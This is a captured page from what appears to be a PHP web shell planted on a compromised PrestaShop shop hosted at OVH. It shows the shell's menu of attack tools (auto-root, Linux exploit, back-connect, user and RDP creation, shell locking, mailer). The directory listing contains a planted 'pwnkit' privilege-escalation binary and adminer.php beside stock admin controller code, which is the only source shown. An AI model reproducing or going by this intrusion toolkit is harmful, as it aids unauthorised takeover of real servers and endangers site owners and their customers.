Linux webm004.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Apache
: 10.102.20.4 | : 216.73.217.153
Cant Read [ /etc/named.conf ]
5.4.45
opusyn1t
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
opusyn1t /
www /
boutique /
controllers /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
AdminAccessController.php
7.63
KB
-rw----r--
AdminAddonsCatalogController.p...
1.98
KB
-rw----r--
AdminAddressesController.php
15.46
KB
-rw----r--
AdminAdminPreferencesControlle...
7.88
KB
-rw----r--
AdminAttachmentsController.php
7.29
KB
-rw----r--
AdminAttributeGeneratorControl...
8.69
KB
-rw----r--
AdminAttributesGroupsControlle...
28.13
KB
-rw----r--
AdminBackupController.php
8.91
KB
-rw----r--
AdminCarrierWizardController.p...
29.49
KB
-rw----r--
AdminCarriersController.php
22.76
KB
-rw----r--
AdminCartRulesController.php
27.36
KB
-rw----r--
AdminCartsController.php
33.12
KB
-rw----r--
AdminCategoriesController.php
28.58
KB
-rw----r--
AdminCmsCategoriesController.p...
10.89
KB
-rw----r--
AdminCmsContentController.php
11.05
KB
-rw----r--
AdminCmsController.php
14.58
KB
-rw----r--
AdminContactsController.php
3.81
KB
-rw----r--
AdminCountriesController.php
14.92
KB
-rw----r--
AdminCurrenciesController.php
11.03
KB
-rw----r--
AdminCustomerPreferencesContro...
4.12
KB
-rw----r--
AdminCustomerThreadsController...
34.39
KB
-rw----r--
AdminCustomersController.php
33.1
KB
-rw----r--
AdminDashboardController.php
15.28
KB
-rw----r--
AdminDeliverySlipController.ph...
4.02
KB
-rw----r--
AdminEmailsController.php
9.18
KB
-rw----r--
AdminEmployeesController.php
21.16
KB
-rw----r--
AdminFeaturesController.php
17.44
KB
-rw----r--
AdminGendersController.php
5.79
KB
-rw----r--
AdminGeolocationController.php
6.01
KB
-rw----r--
AdminGroupsController.php
18.53
KB
-rw----r--
AdminImagesController.php
24.85
KB
-rw----r--
AdminImportController.php
134.18
KB
-rw----r--
AdminInformationController.php
6.49
KB
-rw----r--
AdminInvoicesController.php
8.78
KB
-rw----r--
AdminLanguagesController.php
17.8
KB
-rw----r--
AdminLocalizationController.ph...
12.33
KB
-rw----r--
AdminLoginController.php
9.64
KB
-rw----r--
AdminLogsController.php
3.71
KB
-rw----r--
AdminMaintenanceController.php
2.06
KB
-rw----r--
AdminManufacturersController.p...
23.4
KB
-rw----r--
AdminMarketingController.php
1.63
KB
-rw----r--
AdminMetaController.php
24.65
KB
-rw----r--
AdminModulesController.php
61.15
KB
-rw----r--
AdminModulesPositionsControlle...
21.8
KB
-rw----r--
AdminNotFoundController.php
1.46
KB
-rw----r--
AdminOrderMessageController.ph...
2.67
KB
-rw----r--
AdminOrderPreferencesControlle...
6.37
KB
-rw----r--
AdminOrdersController.php
101.09
KB
-rw----r--
AdminOutstandingController.php
4.95
KB
-rw----r--
AdminPPreferencesController.ph...
10.81
KB
-rw----r--
AdminPatternsController.php
18.18
KB
-rw----r--
AdminPaymentController.php
8.99
KB
-rw----r--
AdminPdfController.php
6.83
KB
-rw----r--
AdminPerformanceController.php
32.64
KB
-rw----r--
AdminPreferencesController.php
6.98
KB
-rw----r--
AdminProductsController.php
183.23
KB
-rw----r--
AdminProfilesController.php
3.13
KB
-rw----r--
AdminQuickAccessesController.p...
4.5
KB
-rw----r--
AdminRangePriceController.php
5.27
KB
-rw----r--
AdminRangeWeightController.php
5.23
KB
-rw----r--
AdminReferrersController.php
14.62
KB
-rw----r--
AdminRequestSqlController.php
13.46
KB
-rw----r--
AdminReturnController.php
9.67
KB
-rw----r--
AdminScenesController.php
10.96
KB
-rw----r--
AdminSearchConfController.php
10.74
KB
-rw----r--
AdminSearchController.php
16.16
KB
-rw----r--
AdminSearchEnginesController.p...
2.65
KB
-rw----r--
AdminShippingController.php
6.4
KB
-rw----r--
AdminShopController.php
26.41
KB
-rw----r--
AdminShopGroupController.php
10.74
KB
-rw----r--
AdminShopUrlController.php
15.56
KB
-rw----r--
AdminSlipController.php
5.46
KB
-rw----r--
AdminSpecificPriceRuleControll...
10.24
KB
-rw----r--
AdminStatesController.php
8.51
KB
-rw----r--
AdminStatsController.php
32.5
KB
-rw----r--
AdminStatsTabController.php
10.03
KB
-rw----r--
AdminStatusesController.php
18.24
KB
-rw----r--
AdminStockConfigurationControl...
18.57
KB
-rw----r--
AdminStockCoverController.php
12.28
KB
-rw----r--
AdminStockInstantStateControll...
17.52
KB
-rw----r--
AdminStockManagementController...
38.91
KB
-rw----r--
AdminStockMvtController.php
9.54
KB
-rw----r--
AdminStoresController.php
17.15
KB
-rw----r--
AdminSuppliersController.php
16.21
KB
-rw----r--
AdminSupplyOrdersController.ph...
73.41
KB
-rw----r--
AdminTabsController.php
9.17
KB
-rw----r--
AdminTagsController.php
4.04
KB
-rw----r--
AdminTaxRulesGroupController.p...
14.35
KB
-rw----r--
AdminTaxesController.php
8.92
KB
-rw----r--
AdminThemesController.php
92.51
KB
-rw----r--
AdminTrackingController.php
11.15
KB
-rw----r--
AdminTranslationsController.ph...
106.53
KB
-rw----r--
AdminWarehousesController.php
18.56
KB
-rw----r--
AdminWebserviceController.php
8.44
KB
-rw----r--
AdminZonesController.php
3.38
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
autoload_classmap.php
0
B
-r--r--r--
index.php
1.24
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AdminDashboardController.php
<?php /* * 2007-2014 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/osl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2014 PrestaShop SA * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ class AdminDashboardControllerCore extends AdminController { public function __construct() { $this->bootstrap = true; $this->display = 'view'; parent::__construct(); if (Tools::isSubmit('profitability_conf') || Tools::isSubmit('submitOptionsconfiguration')) $this->fields_options = $this->getOptionFields(); } public function setMedia() { parent::setMedia(); $this->addJqueryUI('ui.datepicker'); $this->addJS(array( _PS_JS_DIR_.'vendor/d3.v3.min.js', __PS_BASE_URI__.$this->admin_webpath.'/themes/'.$this->bo_theme.'/js/vendor/nv.d3.min.js', _PS_JS_DIR_.'/admin-dashboard.js', )); $this->addCSS(__PS_BASE_URI__.$this->admin_webpath.'/themes/'.$this->bo_theme.'/css/vendor/nv.d3.css'); } public function initPageHeaderToolbar() { parent::initPageHeaderToolbar(); $this->page_header_toolbar_title = $this->l('Dashboard'); $this->page_header_toolbar_btn = array(); } protected function getOptionFields() { $forms = array(); $currency = new Currency(Configuration::get('PS_CURRENCY_DEFAULT')); $carriers = Carrier::getCarriers($this->context->language->id, true); $modules = Module::getModulesOnDisk(true); $forms = array( 'payment' => array('title' => $this->l('Average bank fees per payment method'), 'id' => 'payment'), 'carriers' => array('title' => $this->l('Average shipping fees per shipping method'), 'id' => 'carriers'), 'other' => array('title' => $this->l('Other settings'), 'id' => 'other') ); foreach ($forms as &$form) { $form['icon'] = 'tab-preferences'; $form['fields'] = array(); $form['submit'] = array('title' => $this->l('Save')); } foreach ($modules as $module) if (isset($module->tab) && $module->tab == 'payments_gateways' && $module->id) { $moduleClass = Module::getInstanceByName($module->name); if (!$moduleClass->isEnabledForShopContext()) continue; $forms['payment']['fields']['CONF_'.strtoupper($module->name).'_FIXED'] = array( 'title' => $module->displayName, 'desc' => sprintf($this->l('Choose a fixed fee for each order placed in %1$s with %2$s.'), $currency->iso_code, $module->displayName), 'validation' => 'isPrice', 'cast' => 'floatval', 'type' => 'text', 'defaultValue' => '0', 'suffix' => $currency->iso_code ); $forms['payment']['fields']['CONF_'.strtoupper($module->name).'_VAR'] = array( 'title' => $module->displayName, 'desc' => sprintf($this->l('Choose a variable fee for each order placed in %1$s with %2$s. It will be applied on the total paid with taxes.'), $currency->iso_code, $module->displayName), 'validation' => 'isPercentage', 'cast' => 'floatval', 'type' => 'text', 'defaultValue' => '0', 'suffix' => '%' ); if (Currency::isMultiCurrencyActivated()) { $forms['payment']['fields']['CONF_'.strtoupper($module->name).'_FIXED_FOREIGN'] = array( 'title' => $module->displayName, 'desc' => sprintf($this->l('Choose a fixed fee for each order placed with a foreign currency with %s.'), $module->displayName), 'validation' => 'isPrice', 'cast' => 'floatval', 'type' => 'text', 'defaultValue' => '0', 'suffix' => $currency->iso_code ); $forms['payment']['fields']['CONF_'.strtoupper($module->name).'_VAR_FOREIGN'] = array( 'title' => $module->displayName, 'desc' => sprintf($this->l('Choose a variable fee for each order placed with a foreign currency with %s. It will be applied on the total paid with taxes.'), $module->displayName), 'validation' => 'isPercentage', 'cast' => 'floatval', 'type' => 'text', 'defaultValue' => '0', 'suffix' => '%' ); } } foreach ($carriers as $carrier) { $forms['carriers']['fields']['CONF_'.strtoupper($carrier['id_reference']).'_SHIP'] = array( 'title' => $carrier['name'], 'desc' => sprintf($this->l('For the carrier named %s, indicate the domestic delivery costs in percentage of the price charged to customers.'), $carrier['name']), 'validation' => 'isPercentage', 'cast' => 'floatval', 'type' => 'text', 'defaultValue' => '0', 'suffix' => '%' ); $forms['carriers']['fields']['CONF_'.strtoupper($carrier['id_reference']).'_SHIP_OVERSEAS'] = array( 'title' => $carrier['name'], 'desc' => sprintf($this->l('For the carrier named %s, indicate the overseas delivery costs in percentage of the price charged to customers.'), $carrier['name']), 'validation' => 'isPercentage', 'cast' => 'floatval', 'type' => 'text', 'defaultValue' => '0', 'suffix' => '%' ); } $forms['carriers']['description'] = $this->l('Method: Indicate the percentage of your carrier margin. For example, if you charge $10 of shipping fees to your customer for each shipment, but you really pay $4 to this carrier, then you should indicate "40" in the percentage field.'); $forms['other']['fields']['CONF_AVERAGE_PRODUCT_MARGIN'] = array( 'title' => $this->l('Average gross margin'), 'desc' => $this->l('You should calculate this percentage as follows: ((total sales revenue) - (cost of goods sold)) / (total sales revenue) * 100. This value is only used to calculate the Dashboard approximate gross margin, if you do not specify the wholesale price for each product.'), 'validation' => 'isPercentage', 'cast' => 'intval', 'type' => 'text', 'defaultValue' => '0', 'suffix' => '%' ); $forms['other']['fields']['CONF_ORDER_FIXED'] = array( 'title' => $this->l('Other fees per order'), 'desc' => $this->l('You should calculate this value by making the sum of all of your additional costs per order.'), 'validation' => 'isPrice', 'cast' => 'floatval', 'type' => 'text', 'defaultValue' => '0', 'suffix' => $currency->iso_code ); return $forms; } public function renderView() { if (Tools::isSubmit('profitability_conf')) return parent::renderOptions(); // $translations = array( // 'Calendar' => $this->l('Calendar', 'AdminStatsTab'), // 'Day' => $this->l('Day', 'AdminStatsTab'), // 'Month' => $this->l('Month', 'AdminStatsTab'), // 'Year' => $this->l('Year', 'AdminStatsTab'), // 'From' => $this->l('From:', 'AdminStatsTab'), // 'To' => $this->l('To:', 'AdminStatsTab'), // 'Save' => $this->l('Save', 'AdminStatsTab') // ); $calendar_helper = new HelperCalendar(); $calendar_helper->setDateFrom(Tools::getValue('date_from', $this->context->employee->stats_date_from)); $calendar_helper->setDateTo(Tools::getValue('date_to', $this->context->employee->stats_date_to)); $stats_compare_from = $this->context->employee->stats_compare_from; $stats_compare_to = $this->context->employee->stats_compare_to; if (is_null($stats_compare_from) || $stats_compare_from == '0000-00-00') $stats_compare_from = null; if (is_null($stats_compare_to) || $stats_compare_to == '0000-00-00') $stats_compare_to = null; $calendar_helper->setCompareDateFrom($stats_compare_from); $calendar_helper->setCompareDateTo($stats_compare_to); $calendar_helper->setCompareOption(Tools::getValue('compare_date_option', $this->context->employee->stats_compare_option)); $params = array( 'date_from' => $this->context->employee->stats_date_from, 'date_to' => $this->context->employee->stats_date_to ); $this->tpl_view_vars = array( 'date_from' => $this->context->employee->stats_date_from, 'date_to' => $this->context->employee->stats_date_to, 'hookDashboardZoneOne' => Hook::exec('dashboardZoneOne', $params), 'hookDashboardZoneTwo' => Hook::exec('dashboardZoneTwo', $params), //'translations' => $translations, 'action' => '#', 'warning' => $this->getWarningDomainName(), 'new_version_url' => Tools::getCurrentUrlProtocolPrefix().'api.prestashop.com/version/check_version.php?v='._PS_VERSION_.'&lang='.$this->context->language->iso_code, 'dashboard_use_push' => Configuration::get('PS_DASHBOARD_USE_PUSH'), 'calendar' => $calendar_helper->generate(), 'PS_DASHBOARD_SIMULATION' => Configuration::get('PS_DASHBOARD_SIMULATION'), 'datepickerFrom' => Tools::getValue('datepickerFrom', $this->context->employee->stats_date_from), 'datepickerTo' => Tools::getValue('datepickerTo', $this->context->employee->stats_date_to), 'preselect_date_range' => Tools::getValue('preselectDateRange', $this->context->employee->preselect_date_range) ); return parent::renderView(); } public function postProcess() { if (Tools::isSubmit('submitDateRealTime')) { if ($use_realtime = (int)Tools::getValue('submitDateRealTime')) { $this->context->employee->stats_date_from = date('Y-m-d'); $this->context->employee->stats_date_to = date('Y-m-d'); $this->context->employee->stats_compare_option = HelperCalendar::DEFAULT_COMPARE_OPTION; $this->context->employee->stats_compare_from = null; $this->context->employee->stats_compare_to = null; $this->context->employee->update(); } Configuration::updateValue('PS_DASHBOARD_USE_PUSH', $use_realtime); } if (Tools::isSubmit('submitDateRange')) { $this->context->employee->stats_date_from = Tools::getValue('date_from'); $this->context->employee->stats_date_to = Tools::getValue('date_to'); $this->context->employee->preselect_date_range = Tools::getValue('preselectDateRange'); if (Tools::getValue('datepicker_compare')) { $this->context->employee->stats_compare_from = Tools::getValue('compare_date_from'); $this->context->employee->stats_compare_to = Tools::getValue('compare_date_to'); $this->context->employee->stats_compare_option = Tools::getValue('compare_date_option'); } else { $this->context->employee->stats_compare_from = null; $this->context->employee->stats_compare_to = null; $this->context->employee->stats_compare_option = HelperCalendar::DEFAULT_COMPARE_OPTION; } $this->context->employee->update(); } parent::postProcess(); } protected function getWarningDomainName() { $warning = false; if (Shop::isFeatureActive()) return; $shop = Context::getContext()->shop; if ($_SERVER['HTTP_HOST'] != $shop->domain && $_SERVER['HTTP_HOST'] != $shop->domain_ssl && Tools::getValue('ajax') == false) { $warning = $this->l('You are currently connected under the following domain name:').' <span style="color: #CC0000;">'.$_SERVER['HTTP_HOST'].'</span><br />'; if (Configuration::get('PS_MULTISHOP_FEATURE_ACTIVE')) $warning .= sprintf($this->l('This is different from the shop domain name set in the Multistore settings: "%s".'), $shop->domain).' '.preg_replace('@{link}(.*){/link}@', '<a href="index.php?controller=AdminShopUrl&id_shop_url='.(int)$shop->id.'&updateshop_url&token='.Tools::getAdminTokenLite('AdminShopUrl').'">$1</a>', $this->l('If this is your main domain, please {link}change it now{/link}.')); else $warning .= $this->l('This is different from the domain name set in the "SEO & URLs" tab.').' '.preg_replace('@{link}(.*){/link}@', '<a href="index.php?controller=AdminMeta&token='.Tools::getAdminTokenLite('AdminMeta').'#meta_fieldset_shop_url">$1</a>', $this->l('If this is your main domain, please {link}change it now{/link}.')); } return $warning; } public function ajaxProcessRefreshDashboard() { $id_module = null; if ($module = Tools::getValue('module')) { $module_obj = Module::getInstanceByName($module); if (Validate::isLoadedObject($module_obj)) $id_module = $module_obj->id; } $params = array( 'date_from' => $this->context->employee->stats_date_from, 'date_to' => $this->context->employee->stats_date_to, 'compare_from' => $this->context->employee->stats_compare_from, 'compare_to' => $this->context->employee->stats_compare_to, 'dashboard_use_push' => (int)Tools::getValue('dashboard_use_push'), 'extra' => (int)Tools::getValue('extra') ); die(Tools::jsonEncode(Hook::exec('dashboardData', $params, $id_module, true, true, (int)Tools::getValue('dashboard_use_push')))); } public function ajaxProcessSetSimulationMode() { Configuration::updateValue('PS_DASHBOARD_SIMULATION', (int)Tools::getValue('PS_DASHBOARD_SIMULATION')); die ('k'.Configuration::get('PS_DASHBOARD_SIMULATION').'k'); } public function ajaxProcessGetBlogRss() { $return = array('has_errors' => false, 'rss' => array()); if (!$this->isFresh('/config/xml/blog-'.$this->context->language->iso_code.'.xml', 86400)) if (!$this->refresh('/config/xml/blog-'.$this->context->language->iso_code.'.xml', 'https://api.prestashop.com/rss/blog/blog-'.$this->context->language->iso_code.'.xml')) $return['has_errors'] = true; if (!$return['has_errors']) { $rss = simpleXML_load_file(_PS_ROOT_DIR_.'/config/xml/blog-'.$this->context->language->iso_code.'.xml'); $articles_limit = 2; foreach ($rss->channel->item as $item) { if ($articles_limit > 0 && Validate::isCleanHtml((string)$item->title) && Validate::isCleanHtml((string)$item->description)) $return['rss'][] = array( 'date' => Tools::displayDate(date('Y-m-d', strtotime((string)$item->pubDate))), 'title' => (string)Tools::htmlentitiesUTF8($item->title), 'short_desc' => Tools::truncateString(strip_tags((string)$item->description), 150), 'link' => (string)$item->link, ); else break; $articles_limit --; } } die(Tools::jsonEncode($return)); } public function ajaxProcessSaveDashConfig() { $return = array('has_errors' => false, 'errors' => array()); $module = Tools::getValue('module'); $hook = Tools::getValue('hook'); $configs = Tools::getValue('configs'); $params = array( 'date_from' => $this->context->employee->stats_date_from, 'date_to' => $this->context->employee->stats_date_to ); if (Validate::isModuleName($module) && $module_obj = Module::getInstanceByName($module)) { if (Validate::isLoadedObject($module_obj) && method_exists($module_obj, 'validateDashConfig')) $return['errors'] = $module_obj->validateDashConfig($configs); if (!count($return['errors'])) { if (Validate::isLoadedObject($module_obj) && method_exists($module_obj, 'saveDashConfig')) $return['has_errors'] = $module_obj->saveDashConfig($configs); else if (is_array($configs) && count($configs)) foreach ($configs as $name => $value) if (Validate::isConfigName($name)) Configuration::updateValue($name, $value); } else $return['has_errors'] = true; } if (Validate::isHookName($hook) && method_exists($module_obj, $hook)) $return['widget_html'] = $module_obj->$hook($params); die(Tools::jsonEncode($return)); } }
Close